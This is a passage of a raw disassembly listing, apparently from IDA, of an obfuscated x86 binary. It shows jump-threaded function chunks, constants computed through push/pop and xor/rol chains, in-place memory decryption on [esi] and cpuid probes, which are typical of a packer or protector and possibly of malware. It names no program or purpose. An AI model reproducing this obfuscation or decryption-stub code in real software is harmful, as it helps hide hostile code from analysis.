		jmp	loc_4238F6
; END OF FUNCTION CHUNK	FOR sub_42AA47
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_171. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42742E


loc_42A792:				; CODE XREF: sub_42742E+7E44j
		jmp	sub_42C1AF
; END OF FUNCTION CHUNK	FOR sub_42742E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F8DB


loc_42A797:				; CODE XREF: sub_423A34+8j
		jmp	loc_42CC5D
; END OF FUNCTION CHUNK	FOR sub_42F8DB
; ---------------------------------------------------------------------------
		lea	eax, [ebp-18h]
		call	sub_42C16F
		mov	eax, [ebp-1Ch]
		push	eax
		push	edi
		push	0AC30165Eh
		and	edi, ebx
		jmp	loc_42E9CB
; ---------------------------------------------------------------------------


loc_42A7B5:				; DATA XREF: sub_427248+3763o
		add	[esi], eax
		xor	[esi], ebx
		add	[esi], ecx
		xor	[esi], edx
		push	0AE9577Fh
		pop	eax
		or	eax, 7CB0A88Dh
		xor	eax, 3F34E57Eh
		jmp	loc_42B8AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425E64


loc_42A7D4:				; CODE XREF: sub_425E64:loc_427CA4j
		jl	loc_426ECD


loc_42A7DA:				; CODE XREF: sub_425E21+93A0j
		jmp	loc_42BABB
; END OF FUNCTION CHUNK	FOR sub_425E64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E283


loc_42A7DF:				; CODE XREF: sub_42E283-4DEj
		jmp	loc_429AB5
; END OF FUNCTION CHUNK	FOR sub_42E283
; ---------------------------------------------------------------------------
		sbb	ecx, 7F7EC9F2h
		jmp	loc_426EC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42911B


loc_42A7EF:				; CODE XREF: sub_42911B:loc_42E7BCj
		xchg	ebx, [esp+8+var_8]
		jmp	loc_428287
; END OF FUNCTION CHUNK	FOR sub_42911B
; ---------------------------------------------------------------------------


loc_42A7F7:				; CODE XREF: _7hdaygc1:0042EE6Bj
		sub	edi, 0DC0C3A8h
		add	edi, 2E060799h
		xchg	edi, [esp]
		jmp	sub_42C1AF
; ---------------------------------------------------------------------------


loc_42A80B:				; DATA XREF: sub_42E0C4-574Bo
		push	0A0999B07h
		pop	ebx
		add	ebx, 0D2F8CA78h
		or	ebx, 22ABA95h
		test	ebx, 80h
		jmp	loc_42F9C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA07


loc_42A828:				; CODE XREF: sub_42AA07:loc_429D16j
		jnz	loc_424BDD
		jmp	loc_42C7EE
; END OF FUNCTION CHUNK	FOR sub_42AA07

; =============== S U B	R O U T	I N E =======================================



sub_42A833	proc near		; DATA XREF: sub_425E64+5C61o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00423000 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004244F2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042609D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00426161 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427E5B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004298AC SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0042A86E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B1D4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C938 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042E9B2 SIZE 0000000A BYTES

		pop	ebp
		mov	eax, ds:dword_42BC48
		or	eax, eax
		jnz	loc_4244F2
		jmp	loc_42C938
sub_42A833	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4296C2


loc_42A847:				; CODE XREF: sub_4296C2+12j
		rol	esi, 0Eh
		add	esi, 3C28C6Eh
		xchg	esi, [esp+0]
		jmp	sub_426CBB
; END OF FUNCTION CHUNK	FOR sub_4296C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4237DA


loc_42A858:				; CODE XREF: sub_4237DA:loc_42316Dj
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	[ebp-0Ch], eax
		xor	eax, eax
		jmp	loc_42B7A0
; END OF FUNCTION CHUNK	FOR sub_4237DA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_21. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A833


loc_42A86E:				; CODE XREF: sub_42A833-29D0j
		jmp	loc_4298AC
; END OF FUNCTION CHUNK	FOR sub_42A833
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AB9F


loc_42A873:				; CODE XREF: sub_42AB9F+Fj
		pop	eax
		or	eax, 1C768861h
		rol	eax, 1Eh
		xor	eax, 0BD1280DBh
		rol	eax, 0Fh
		jnb	loc_429A9C
; END OF FUNCTION CHUNK	FOR sub_42AB9F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_38. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4252C8


loc_42A88D:				; CODE XREF: sub_4252C8+8FEj
		jmp	nullsub_33
; END OF FUNCTION CHUNK	FOR sub_4252C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F05E


loc_42A892:				; CODE XREF: sub_42F05E-7C52j
					; sub_42F05E-7C45j
		jb	loc_42B16F
; END OF FUNCTION CHUNK	FOR sub_42F05E
; START	OF FUNCTION CHUNK FOR sub_42A052


loc_42A898:				; CODE XREF: sub_42A052:loc_426417j
		push	offset sub_42BAE7
		jmp	loc_423B7E
; END OF FUNCTION CHUNK	FOR sub_42A052
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429318


loc_42A8A2:				; CODE XREF: sub_429318:loc_42FD46j
		pop	ecx
		sub	ecx, 0D95C605Ch
		xor	ecx, 76541948h
		add	ecx, 0F3BC56AFh
		xchg	ecx, [esp+4+var_4]
		push	ebp
		jmp	loc_429830
; END OF FUNCTION CHUNK	FOR sub_429318
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F8C4


loc_42A8BE:				; CODE XREF: sub_42F8C4+10j
		rol	edx, 5
		push	esi
		push	0C1781BCFh
		pop	esi
		and	esi, 0B3865CCFh
		xor	esi, 0D9FD5D9Bh
		jmp	loc_426C2C
; END OF FUNCTION CHUNK	FOR sub_42F8C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E283


loc_42A8D9:				; CODE XREF: sub_42E283+Dj
		test	al, al
		jz	nullsub_83
		jmp	loc_42528E
; END OF FUNCTION CHUNK	FOR sub_42E283
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AFFE


loc_42A8E6:				; CODE XREF: sub_42AFFE-1D1Fj
		jnz	loc_4292FB
		add	ebx, 29FA7AEAh
		and	eax, ecx
		xchg	ecx, ebx
		jmp	loc_4292FB
; END OF FUNCTION CHUNK	FOR sub_42AFFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E283


loc_42A8FB:				; CODE XREF: sub_42E283-1F21j
		add	edx, [ebp-0Ch]
		add	eax, edx
		mov	[ebp-8], eax
		mov	eax, [ebp-8]
		push	ecx
		mov	ecx, ebp
		xchg	ecx, [esp+0]
		jmp	loc_42E53D
; END OF FUNCTION CHUNK	FOR sub_42E283
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425C3B


loc_42A911:				; CODE XREF: sub_425C3B+72EAj
		sbb	ecx, 38D7EDB9h
		xchg	ecx, [eax]


loc_42A919:				; CODE XREF: sub_425C3B:loc_42CF16j
		sub	esi, 98364879h
		add	esi, 146F1AF2h
		popf
		xchg	esi, [esp+0]
		jmp	loc_427D07
; END OF FUNCTION CHUNK	FOR sub_425C3B

; =============== S U B	R O U T	I N E =======================================



sub_42A92E	proc near		; DATA XREF: _7hdaygc1:0042544Fo

; FUNCTION CHUNK AT 0042322F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004249FC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00426A1D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004271C2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00428BE5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042B255 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042C4B4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042C59C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042CA83 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042ED9E SIZE 00000028 BYTES

		or	eax, eax
		jnz	loc_428BE5
		jmp	loc_4249FC
sub_42A92E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jb	loc_42C884
		cmp	ebp, 56364F07h
		jmp	loc_42D9F2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A94C	proc near		; CODE XREF: sub_425C3B:loc_42312Ej
					; sub_42C7F3-85EEp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042FD92 SIZE 0000000D BYTES

		push	ebp
		mov	ebp, esp
		js	sub_42CC45
		add	esp, 0FFFFFFF4h
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		jmp	loc_42FD92
sub_42A94C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EB0D


loc_42A963:				; CODE XREF: sub_42EB0D:loc_423D65j
		pop	ebx
		or	ebx, 0E148CF7Ch
		rol	ebx, 1Fh
		add	ebx, 4032F8BCh
		rol	ebx, 2
		jmp	loc_4248D5
; END OF FUNCTION CHUNK	FOR sub_42EB0D
; ---------------------------------------------------------------------------


loc_42A97B:				; DATA XREF: sub_42E076-8CA1o
		xchg	esi, [esp]
		push	5AE29E02h
		pop	edi
		xor	edi, 1910E332h
		and	edi, 0D4F4571Ch
		rol	edi, 1Bh
		or	edi, 9A321222h
		jmp	loc_42400E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427248


loc_42A99E:				; CODE XREF: sub_427248+8A26j
		mov	eax, 80000003h
		xor	ebx, ebx
		xor	ecx, ecx
		xor	edx, edx
		cpuid
		push	offset loc_42A7B5
		jmp	nullsub_200
; END OF FUNCTION CHUNK	FOR sub_427248
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E283


loc_42A9B5:				; CODE XREF: sub_42E283:loc_42EB52j
		sub	edx, 431467CBh
		rol	edx, 7
		call	sub_42AE0B
; END OF FUNCTION CHUNK	FOR sub_42E283
; START	OF FUNCTION CHUNK FOR sub_428342


loc_42A9C3:				; CODE XREF: sub_428342+6j
		jmp	nullsub_85
; END OF FUNCTION CHUNK	FOR sub_428342
; ---------------------------------------------------------------------------
		shl	ecx, 10h
		jmp	sub_42AD16
; ---------------------------------------------------------------------------


loc_42A9D0:				; CODE XREF: _7hdaygc1:0042320Fj
		not	eax


loc_42A9D2:				; CODE XREF: _7hdaygc1:loc_42ABB3j
		pop	ecx
; START	OF FUNCTION CHUNK FOR sub_42C443


loc_42A9D3:				; CODE XREF: sub_42C443+B32j
		pop	ecx
		xchg	ecx, [esp-4+arg_0]
		mov	ebp, ecx
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_42C443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ED2A


loc_42A9DB:				; CODE XREF: sub_42ED2A+19j
		jmp	loc_4230A3
; END OF FUNCTION CHUNK	FOR sub_42ED2A

; =============== S U B	R O U T	I N E =======================================



sub_42A9E0	proc near		; CODE XREF: sub_428A2D+7j
					; sub_42B4F9+3p
		push	ebp
		jmp	loc_42DCE2
sub_42A9E0	endp

; ---------------------------------------------------------------------------


loc_42A9E6:				; CODE XREF: _7hdaygc1:0042979Aj
		test	eax, ecx
		jmp	loc_42405D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425C2C


loc_42A9ED:				; CODE XREF: sub_425C2C-1CF3j
		jbe	loc_426826
		jg	loc_42FD36
		xchg	esi, edi
		push	edx
		jmp	loc_426E43
; END OF FUNCTION CHUNK	FOR sub_425C2C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_147. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428B11


loc_42AA02:				; CODE XREF: sub_428B11:loc_4295DAj
		jmp	nullsub_212
; END OF FUNCTION CHUNK	FOR sub_428B11

; =============== S U B	R O U T	I N E =======================================



sub_42AA07	proc near		; CODE XREF: _7hdaygc1:loc_423E6Bp
					; sub_4240B0:loc_425EB7p ...

; FUNCTION CHUNK AT 004231C6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004231EF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00423B34 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00424BDD SIZE 00000004 BYTES
; FUNCTION CHUNK AT 00425423 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042621E SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00426666 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00427149 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00427351 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00427E27 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429D0E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042A52C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042A828 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042B625 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0042B886 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042C7EE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C9FE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FAE7 SIZE 0000000C BYTES

		call	sub_42E4B2


loc_42AA0C:				; CODE XREF: _7hdaygc1:00429961j
		jmp	loc_427351
sub_42AA07	endp


; =============== S U B	R O U T	I N E =======================================



sub_42AA11	proc near		; CODE XREF: sub_424DF3-1312p
					; _7hdaygc1:00428038j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00424454 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042912C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042B995 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E8B3 SIZE 00000005 BYTES

		xchg	ecx, [esp+4+var_4]
		pop	ecx
		xchg	ebx, [esp+0]
		mov	edi, ebx
		jmp	loc_42B995
sub_42AA11	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42AA1F:				; CODE XREF: _7hdaygc1:0042C658j
		cmp	edi, 4FF99840h
		jmp	loc_426B40
; ---------------------------------------------------------------------------


loc_42AA2A:				; CODE XREF: _7hdaygc1:004260DFj
		lea	eax, [ebp-14h]
		push	eax
		push	281F84AAh
		pop	eax
		add	eax, 658E428h
		xor	eax, 0B094F549h
		jmp	loc_42F70A
; ---------------------------------------------------------------------------


loc_42AA45:				; CODE XREF: _7hdaygc1:0042C8CCj
		mov	[esi], eax

; =============== S U B	R O U T	I N E =======================================



sub_42AA47	proc near		; CODE XREF: sub_424AE1+42ECp

; FUNCTION CHUNK AT 0042346F SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004238F6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00423B83 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042492A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004249A1 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00424D04 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004250B3 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00425E36 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0042684D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00429730 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 00429A39 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0042A78C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AF1E SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042B6E3 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0042BFB9 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042C439 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042D619 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042E77E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EB48 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F192 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042F4A7 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0042F5AC SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		cmp	dword ptr [ebp-10h], 0
		jl	loc_42F192
		jmp	loc_42A78C
sub_42AA47	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		call	sub_428994


loc_42AA5F:				; CODE XREF: _7hdaygc1:0042E01Dj
		jmp	sub_426CBB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_20. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42AA65:				; CODE XREF: _7hdaygc1:0042ADA2j
		jmp	loc_424870
; ---------------------------------------------------------------------------
		sub	edi, ebx
		jmp	sub_426471
; ---------------------------------------------------------------------------


loc_42AA71:				; DATA XREF: sub_4291A3:loc_429511o
		mov	edx, 0E5254649h
		call	sub_42C763
		push	offset loc_425BE8
		jmp	locret_426F77
; ---------------------------------------------------------------------------
		mov	ds:dword_42BC58, eax
		call	sub_428C3B
		dec	eax
		mov	edx, ds:dword_42BC58
		jmp	loc_42DC63

; =============== S U B	R O U T	I N E =======================================



sub_42AA9B	proc near		; CODE XREF: sub_424DF3:loc_423AD5j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch

; FUNCTION CHUNK AT 00423304 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004233A5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00425411 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004261F4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004271C8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428983 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00429A0A SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0042A653 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CEE2 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042D2C2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042D7AF SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0042ED11 SIZE 00000019 BYTES

		add	esp, 0FFFFFFF8h
		push	ebx
		mov	[ebp-4], eax
		jmp	loc_429A0A
sub_42AA9B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423172


loc_42AAA7:				; CODE XREF: sub_423172+BD13j
		add	eax, 33394E03h
		add	eax, ebp
		add	eax, 486691D5h
		mov	ecx, 0F8h
		call	sub_42A94C
		mov	edx, [ebp-4]
		lea	eax, [ebp-14h]
		mov	ecx, 0F8h
		jmp	loc_424C01
; END OF FUNCTION CHUNK	FOR sub_423172
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C369


loc_42AACF:				; CODE XREF: sub_42C369+Dj
		cmp	dword ptr [ebp-0Ch], 0
		jg	loc_427276


loc_42AAD9:				; CODE XREF: _7hdaygc1:004248B3j
					; _7hdaygc1:00427270j ...
		mov	eax, [ebp-4]
		mov	[ebp-10h], eax
		mov	eax, [ebp-10h]
		jmp	loc_42F442
; END OF FUNCTION CHUNK	FOR sub_42C369
; ---------------------------------------------------------------------------
		cmp	eax, 54660A96h
		jmp	loc_426211
; ---------------------------------------------------------------------------


loc_42AAF2:				; DATA XREF: sub_42AE9C:loc_42B716o
		mov	ebp, esp
		push	ecx
		push	offset sub_4263F9
		jmp	loc_42CA90
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_42AAFF:				; CODE XREF: sub_42D59A+1Cj
		add	edi, ebp
		add	edi, 13FE99E2h


loc_42AB07:				; CODE XREF: _7hdaygc1:loc_428C54j
		mov	[edi], eax
		pop	edi
		jmp	loc_42C37C
; END OF FUNCTION CHUNK	FOR sub_4291EA

; =============== S U B	R O U T	I N E =======================================



sub_42AB0F	proc near		; CODE XREF: sub_42AA47-4BF9p
					; _7hdaygc1:00428460j

; FUNCTION CHUNK AT 004251F0 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0042F5C2 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		add	eax, ebp
		push	esi
		push	0B5F1F76Eh
		pop	esi
		or	esi, 0E0744569h
		jmp	loc_4251F0
sub_42AB0F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423DDB


loc_42AB27:				; CODE XREF: sub_423DDB+16j
		ja	loc_42EED6


loc_42AB2D:				; CODE XREF: sub_423DDB+4j
		cmp	dword ptr [ebp-8], 0A22F8A70h
		jz	loc_42B644
		mov	eax, [ebp-0Ch]
		call	sub_42B650
		jmp	loc_42B644
; END OF FUNCTION CHUNK	FOR sub_423DDB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424680


loc_42AB47:				; CODE XREF: sub_424680+1250j
					; _7hdaygc1:loc_42EF8Bj
		jg	loc_4244B0
		jmp	loc_42725C
; END OF FUNCTION CHUNK	FOR sub_424680
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A39


loc_42AB52:				; CODE XREF: sub_426A39:loc_423929j
		mov	ebx, [eax]
		add	eax, 4
		mov	edi, [eax]
		add	eax, 4
		push	offset sub_424981
		jmp	loc_423067
; END OF FUNCTION CHUNK	FOR sub_426A39

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42AB66	proc near		; CODE XREF: sub_42409E:loc_4297BFj
		retn
sub_42AB66	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DBF7


loc_42AB67:				; CODE XREF: sub_42DBF7-473Cj
		call	sub_42AA07


loc_42AB6C:				; CODE XREF: sub_42DBF7+1E1Ej
		mov	eax, ds:dword_425144
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		jmp	loc_42E296
; END OF FUNCTION CHUNK	FOR sub_42DBF7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_140. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42AB80:				; CODE XREF: _7hdaygc1:0042B091j
		cmp	esi, edx
		jmp	loc_42B5D0
; ---------------------------------------------------------------------------
		sub	ecx, ebx
		jmp	loc_4289CC
; ---------------------------------------------------------------------------


loc_42AB8E:				; CODE XREF: _7hdaygc1:00425B10j
		add	ebp, edx
		add	ebp, 4B29B222h
		mov	edx, ebp
		mov	edx, [edx]
		jmp	loc_4258B9

; =============== S U B	R O U T	I N E =======================================



sub_42AB9F	proc near		; CODE XREF: _7hdaygc1:00424767p
					; _7hdaygc1:00428834j

; FUNCTION CHUNK AT 004230FD SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042392E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429A9C SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0042A873 SIZE 00000019 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		xor	[esi], ebx
		add	[esi], ecx
		xor	[esi], edx
		push	33FFBBDh
		jmp	loc_42A873
sub_42AB9F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42ABB3:				; CODE XREF: _7hdaygc1:loc_429BE2j
		jz	loc_42A9D2
		jmp	loc_42FD55
; ---------------------------------------------------------------------------


loc_42ABBE:				; CODE XREF: _7hdaygc1:0042B5E2j
		jz	loc_42ADDA
; START	OF FUNCTION CHUNK FOR sub_424E42


loc_42ABC4:				; CODE XREF: sub_424E42-939j
		jmp	loc_42C859
; END OF FUNCTION CHUNK	FOR sub_424E42
; ---------------------------------------------------------------------------
		xor	esi, ebx
		mov	esi, ebp
		jmp	loc_428029
; ---------------------------------------------------------------------------
		pushf
		jmp	loc_42C3E3
; ---------------------------------------------------------------------------
		xor	ebp, 0AFB72A4Ch
		jmp	loc_425BCB

; =============== S U B	R O U T	I N E =======================================



sub_42ABE3	proc near		; CODE XREF: _7hdaygc1:loc_426288j
					; sub_42911B-105p

arg_0		= dword	ptr  4

		xchg	edi, [esp+0]
		pop	edi
		xchg	edx, [esp-4+arg_0]
		jmp	loc_42F4FE
sub_42ABE3	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_87. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C443


loc_42ABF0:				; CODE XREF: sub_42C443-6005j
		jmp	loc_42CD34
; END OF FUNCTION CHUNK	FOR sub_42C443
; ---------------------------------------------------------------------------


loc_42ABF5:				; CODE XREF: _7hdaygc1:0042E7E1j
		or	ebx, ebp

; =============== S U B	R O U T	I N E =======================================



sub_42ABF7	proc near		; CODE XREF: sub_42D757-137Ep

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00423DD0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00426F82 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00429176 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042B47E SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042D278 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 0042FB8A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042FD9F SIZE 00000010 BYTES

		xchg	eax, [esp+0]
		pop	eax
		cmp	ds:dword_427CA0, 0
		call	sub_42BE7D


loc_42AC07:				; CODE XREF: sub_42F31E-1B2Dj
		jmp	loc_42FB8A
sub_42ABF7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42AC0C:				; CODE XREF: _7hdaygc1:0042916Aj
		jnb	loc_42683E


loc_42AC12:				; CODE XREF: _7hdaygc1:loc_42B8D3j
		mov	edi, eax
		mov	eax, 80000001h


loc_42AC19:				; CODE XREF: _7hdaygc1:loc_423843j
		xor	edx, edx
		cpuid
		jmp	loc_42C8D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DD73


loc_42AC22:				; CODE XREF: sub_42DD73:loc_42EBBEj
		jz	loc_42D1FF
		jbe	loc_428F3D
		adc	ebx, edi
		jmp	loc_42AF36
; END OF FUNCTION CHUNK	FOR sub_42DD73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BE63


loc_42AC35:				; CODE XREF: sub_42BE63:loc_42430Ej
		push	edi
		push	eax
		pop	edi
		xchg	edi, [esp+6Ch+var_6C]
		call	sub_428917
		push	esi
		push	12CA5320h
		pop	esi
		and	esi, 0BE353EA5h
		add	esi, 0EE4281AEh
		xchg	esi, [esp+60h+var_60]
		jmp	loc_42B410
; END OF FUNCTION CHUNK	FOR sub_42BE63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424F62


loc_42AC5B:				; CODE XREF: sub_424F62:loc_426769j
					; _7hdaygc1:loc_42C281j
		jz	loc_42CF30
		xchg	ebp, eax
		cmp	esi, 0EAC41978h
		jmp	loc_42E7E6
; END OF FUNCTION CHUNK	FOR sub_424F62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CFDA


loc_42AC6E:				; CODE XREF: sub_42CFDA:loc_424850j
		add	edx, 8387AB56h
		jnb	loc_42FC1D


loc_42AC7A:				; CODE XREF: sub_42F68E+9j
		jmp	loc_423AA9
; END OF FUNCTION CHUNK	FOR sub_42CFDA
; ---------------------------------------------------------------------------
		add	eax, 1FE9CCEEh
		jge	loc_42DE05
		and	ebx, ebp
		mov	ebp, esi
		jmp	loc_42EEF1
; ---------------------------------------------------------------------------
		sub	ebp, 75DEB257h
		ror	ebp, 1Dh
		jmp	sub_42C6FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42948A


loc_42ACA2:				; CODE XREF: sub_42948A+3F98j
		xor	esi, ebp


loc_42ACA4:				; CODE XREF: sub_42948A:loc_4266D7j
		push	4A4C6331h
		pop	edx
		and	edx, 16F5E810h
		or	edx, 0AEB9E535h
		sub	edx, ds:4000F7h
		and	edx, 0E6E3DBEh
		add	edx, 0F9809970h
		jmp	loc_4271B5
; END OF FUNCTION CHUNK	FOR sub_42948A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BB83


loc_42ACCD:				; CODE XREF: sub_42BB83:loc_42E051j
		test	al, al
		jz	loc_42465E
		jmp	loc_423FB3
; END OF FUNCTION CHUNK	FOR sub_42BB83
; ---------------------------------------------------------------------------
		xor	ebp, ebx
		jmp	sub_428917
; ---------------------------------------------------------------------------
		mov	ebp, [eax]
		jmp	loc_429316
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427D11


loc_42ACE8:				; CODE XREF: sub_427D11:loc_423D6Aj
		jz	loc_4239E6
		jmp	loc_42484B
; END OF FUNCTION CHUNK	FOR sub_427D11
